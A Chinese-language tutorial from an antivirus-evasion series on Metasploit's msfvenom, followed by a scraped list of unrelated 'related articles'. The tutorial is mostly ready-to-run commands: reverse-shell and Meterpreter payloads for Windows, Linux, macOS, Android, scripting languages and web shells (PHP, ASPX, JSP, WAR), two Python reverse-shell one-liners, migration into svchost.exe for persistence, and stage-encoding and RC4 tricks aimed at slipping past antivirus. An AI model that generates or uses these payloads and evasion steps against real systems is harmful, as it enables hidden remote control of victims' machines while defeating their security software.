远控免杀专题2---msfvenom的隐藏参数

0x01 msfvenom简介

msfvenom是msfpayload和msfencode的结合体,与2015年6月8日取代了msfpayload和msfencode。在此之后,metasploit-framwork下面的msfpayload(载荷生成器),msfencoder(编码器),msfcli(监听接口)都不在被支持

0x02 常规参数

输入msfvenom可以查看所以的指令
在这里插入图片描述

-p,-payload <payload> 指定需要使用的payload(攻击荷载)。也可以使用自定义的payload,几乎是支持全平台的-l ,list [module_type] 列出指定模块的所有可用资源,模型类型包括:payload,encoders,nops, all-n, -nopsled <length> 为payload预先制定一个nop滑动长度-f, -format <format> 指定输出格式  (使用 –help-formats 来获取msf支持的输出格式列表)-e,encoder [encoder] 指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload-a,-arch <architecture> 指定payload的目标架构,例如x86 | x64 | x86_64-platform <platform> 指定payload的目标平台-s,-space <length> 设定有效攻击荷载的最大长度,就是文件大小-b, –bad-chars < list> 设定规避字符集,指定需要过滤的坏字符例如:不使用 '\x0f''\x00';-i, –iterations < count> 指定payload的编码次数-c, –add-code < path> 指定一个附加的win32 shellcode文件-x, –template < path> 指定一个自定义的可执行文件作为模板,并将payload嵌入其中-k, –keep 保护模板程序的动作,注入的payload作为一个新的进程运行–payload-options 列举payload的标准选项-o, –out < path> 指定创建好的payload的存放位置-v, –var-name < name> 指定一个自定义的变量,以确定输出格式–shellest 最小化生成payload-h, –help 查看帮助选项–help-formats 查看msf支持的输出格式列表

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用msfvenom -p windows/meterpreter/reverse_tcp --list-options
在这里插入图片描述
使用msfvenom --list encoders 可查看所有编码器
在这里插入图片描述
可以看到评级最高的两个encoder为cmd/powershell_base64和x86/shikata_ga_nai,其中x86/shikata_ga_nai也是免杀中使用频率最高的一个编码器了。

类似可用msfvenom --list命令查看的还有payloads, encoders, nops, platforms, archs, encrypt, formats。

0x03 几个重要的监听参数

1、防止假session
在实战中,经常会遇到假session或者刚连接就断开的情况,这里补充一些监听参数,防止假死与假session。

msf exploit(multi/handler) > set ExitOnSession false   //可以在接收到seesion后继续监听端口,保持侦听。

2、防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0  //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

3、handler 后台持续监听


msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。
还有种比较快捷的建立监听的方式,在msf下直接执行:


msf5 > handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp

会生成监听
在这里插入图片描述
4、payload持久化
一般来说使用msfvenom生成的payload会单独开启一个进程,这种进程很容易被发现和关闭,在后期想做持久化的时候只能再使用migrate进行。
在这里插入图片描述

在生成payload时可直接使用如下命令,生成的payload会直接注入到指定进程中。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o  shell.exe

生成的shell程序执行后会启动两个进程shell.exe和svchost.exe,关闭其中一个不会影响会话状态。唯一美中不足的是svchost.exe不是system32目录下的。
在这里插入图片描述
在上面的生成payload参数中:

  • PrependMigrate=true PrependMigrateProc=svchost.exe 使这个程序默认会迁移到svchost.exe进程,自己测试的时候不建议到这个进程而是其他的持久进程。
  • 使用-p指定使用的攻击载荷模块,使用-e指定使用x86/shikata_ga_nai编码器,使用-f选项告诉MSF编码器输出格式为exe,-o选项指定输出的文件名为payload.exe,保存在根目录下。

0x04 绕过杀软

这是green-m大佬提到的一种方式,使用reverse_https等payload时可以使用下列方法bypass部分杀软。
生成payload:

msfvenom -p windows/meterpreter/reverse_https lhost=10.211.55.2 lport=3333 -f c

在msf中进行如下设置,将控制端向被控制端发送的stage进行编码

msf exploit(multi/handler) > set EnableStageEncoding true   //尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀
EnableStageEncoding => true
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false

同样,使用reverse_tcp_rc4也有同样的效果,而且不能设置stageencoder选项,更稳定更方便。


msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=tidesec  -f c

利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮下执行meterpreter。

0x05 各个平台payload生成

1、二进制

winods


msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f exe > shell.exemsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f exe > shell.exe

windows下生成32位/64位payload时需要注意:以windows/meterpreter/reverse_tcp为例,该payload默认为32位,也可使用-a x86选项指定。如果要生成64位,则payload为windows/x64/meterpreter/reverse_tcp。

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f elf > shell.elf

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f macho > shell.macho

Android

msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.apkmsfvenom -p android/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 R > test.apk

Powershell

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1

Netcat
nc正向连接

msfvenom -p windows/shell_hidden_bind_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe

nc反向连接,监听

msfvenom -p windows/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333  -f exe> 1.exe
2、Shellcode

基于Linux的Shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Windows -f c

基于Windows的Shellcode


msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform Linux -f c

基于Mac的Shellcode


msfvenom -p osx/x86/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -a x86 --platform osx -f c
3、脚本

Python反弹shell

msfvenom -p cmd/unix/reverse_python LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pymsfvenom -a python -p python/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.py

Python正向shell

python/python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.211.55.2",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'python/python3 -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(("10.211.55.2",3333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"

Bash


msfvenom -p cmd/unix/reverse_bash LHOST=10.211.55.2 LPORT=3333 -f raw > shell.sh

Perl

msfvenom -p cmd/unix/reverse_perl LHOST=10.211.55.2 LPORT=3333 -f raw > shell.pl

Lua

msfvenom -p cmd/unix/reverse_lua LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.lua

Ruby

msfvenom -p ruby/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.rb
4、Web

PHP


msfvenom -p php/meterpreter_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASPX

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

ASP


msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f asp > shell.asp

JSP


msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw > shell.jsp

WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f war > shell.war

nodejs


msfvenom -p nodejs/shell_reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f raw -o shell.js

0x06、Handlers


use exploit/multi/handler
set PAYLOAD <Payload name>
set LHOST 10.211.55.2
set LPORT 3333
set ExitOnSession false
exploit -j -z

0x07 msf命令自动补全

msfvenom参数和命令很多,各种payload和encoder经常让人眼花缭乱,特别是对英语不好的人来说有些命令可能很容易忘记。所以Green_m大佬写了一个zsh插件,可以自动化的补全msfvenom命令,有了它妈妈再也不用担心我会忘记msfvenom命令了!
安装如下:

安装前提:已经安装了zsh。# 下载msfvenom plugin.
git clone https://github.com/Green-m/msfvenom-zsh-completion ~/.oh-my-zsh/custom/plugins/msfvenom/# 打开 ~/.zshrc 文件,启用插件
plugins=(...  msfvenom)# 在当前shell中导入.zshrc文件中的设置
source ~/.zshrc

在这里插入图片描述

0x08 参考资料

msfvenom 进阶:https://klionsec.github.io/2017/03/08/msfvenom-advanced/

How to use msfvenom:https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom

msfvenom 使用方法简单介绍:http://www.onebug.org/testing/161.html

Bypass AV meterpreter免杀技巧:https://green-m.me/2016/11/15/meterpreter-bypass-av/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/380302.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

转载CSDN - 从程序员到HR——面试经验分享

CSDN博客一周热文推荐&#xff0c;为您总结回顾过去一周的CSDN博客热门文章&#xff0c;推荐优质的博客作者&#xff0c;分享精华文章和优质博客。 [1] 谭海燕&#xff1a;北漂之惠普H3C面试经历 上一篇讲到了《北漂之百度面试》&#xff0c;今天跟大家分享我在H3C的面试经历。…

ai系统架构_人工智能中的模糊逻辑系统架构

ai系统架构The Fuzzy Logic System is a system which uses Fuzzy logic for reasoning. Fuzzy Logic is a very efficient method for performing human-like reasoning in conditions with uncertainty. 模糊逻辑系统是使用模糊逻辑进行推理的系统。 模糊逻辑是一种在不确定条…

Firefox中国即将成立,希望在华推行Web标准

Mozilla的首席技术官(vp engineering)Mike Schroepfer给Firefox的粉丝们带来一个好消息:Firefox在中国的负责人李宫昨日接到总部正式通知,将在中国成立公司.Mike称:“公司将设立在清华科技园,在Google、微软的旁边,不过一开始规模不会大,只有几个人.李宫将负责招兵买马.实际上,…

远控免杀专题3---msf自免杀

0x01 免杀能力一览表 上面表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。由于本机测试时只是安装了360全家桶和火绒&#xff0c;所以默认情…

苹果手机的计算机删除了怎么恢复,苹果手机电话删除了怎么恢复

在清理手机通讯录的时候&#xff0c;万一不小心误删了手机通讯录&#xff0c;怎么办。那么被删除的手机通讯录还能找回吗?答案是可以的&#xff0c;苹果手机通讯录删除了怎么恢复呢。苹果手机电话删除了怎么恢复一、从iCloud恢复步骤1、打开【设置】-【Apple ID】-【iCloud】&…

远控免杀4---Evasion免杀

0x01 免杀能力一览表 1、下表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。3、由于本机测试时只是安装了360全家桶和火绒&#xff0c;所以…

远控免杀5---Veil免杀

0x01 免杀能力一览表 1、下表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。3、由于本机测试时只是安装了360全家桶和火绒&#xff0c;所以…

远控免杀专题6---Venom免杀

0x01 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

查看ajax传来的数据,jQuery AJAX 方法 success()后台传来的4种数据

1.后台返回一个页面js代码/**(1)用$("#content-wrapper").html(data);显示页面*/$.ajax({async : false,cache : false,type : POST,url : area/prepareCreate,error : function() {alert(smx失败 );},success : function(data) {$("#content-wrapper").ht…

远控免杀专题7 ---shellter免杀

0x01 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

将文件拖到docker容器里,将docke 容器里文件拖到宿主里

docker将/root/shell目录下的putty.exe复制到容器内部&#xff1a; 查看容器ID&#xff1a; docker ps 复制&#xff1a; docker cp /root/shell/putty.exe 容器ID:/root docker将容器内部的/root/shell/payload.exe复制到宿主里&#xff1a; docker cp b8d6b6b6296d:/root…

拜托,出来混有点专业精神好不好

2007年5月25日的安徽日报头版中武警防汛大演练照片如下&#xff1a;很明显的最上面的两艘船是一样的&#xff0c;甚至连激起的浪花都相同&#xff0c;真不知道ps这幅图的同学当时怎么想的&#xff0c;一点专业精神都没有撒&#xff5e;再看看下面的盗版光碟《十面埋妇》的包装&…

远控免杀专题8---BackDoor-Facktory免杀

0x01 免杀能力一查表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

C和汇编----存储类别、链接和内存管理

0x01 存储类别 1、作用域 一个C变量的作用域可以是块作用域、函数作用域、函数原型作用域或文件作用域。 1.1 块作用域&#xff1a; 块是用一对花括号括起来的代码区域。比如函数体就是一个块。定义在块中的变量具有块作用域&#xff0c;块作用域变量的可见范围是从定义处到包…

服务器appcrash的问题怎么修复,ghost win7出现appcrash的问题怎么修复

ghost win7出现appcrash的问题怎么修复一位用户说在win7旗舰版电脑中运行程序会出现appcrash错误的提示&#xff0c;appcrash出错想必很多用户都遇到过&#xff0c;也不知道什么原因引起的&#xff0c;导致程序无法正常运行。那么有什么方法可以解决ghost系统win7运行程序出现a…

远控免杀专题9 --- Avet免杀

0x01 免杀能力一查表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

WF随笔系列之三 --- Code Activity 专题

系列目录&#xff1a;WF随笔系列之三 Out-of-the-Box Activities 专题目录 Code Activity是WF开发中使用最频繁的Activity之一&#xff0c;它要做工作的很简单&#xff0c;就是把一个或者几个Code Exec 一下&#xff0c;当此行为在执行时&#xff0c;触发一个Handlers:Execute…

A5流密码算法

0x01 A5/1流密码算法的基本用法 作用&#xff1a; 用于蜂窝式移动电话系统语言和数字加密 过程&#xff1a; A5/1算法用于用户的手机到基站之间的通信加密&#xff0c;通信内容到基站后先解密变成明文&#xff0c;然后再进行基站到基站之间&#xff0c;以及基站到用户手机之间…

远控免杀专题10--TheFatRat免杀

0x01 免杀能力一览表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…

远控免杀专题11-Avoidz免杀

0x01 免杀能力一查表 几点说明&#xff1a; 1、上表中标识 √ 说明相应杀毒软件未检测出病毒&#xff0c;也就是代表了Bypass。 2、为了更好的对比效果&#xff0c;大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全…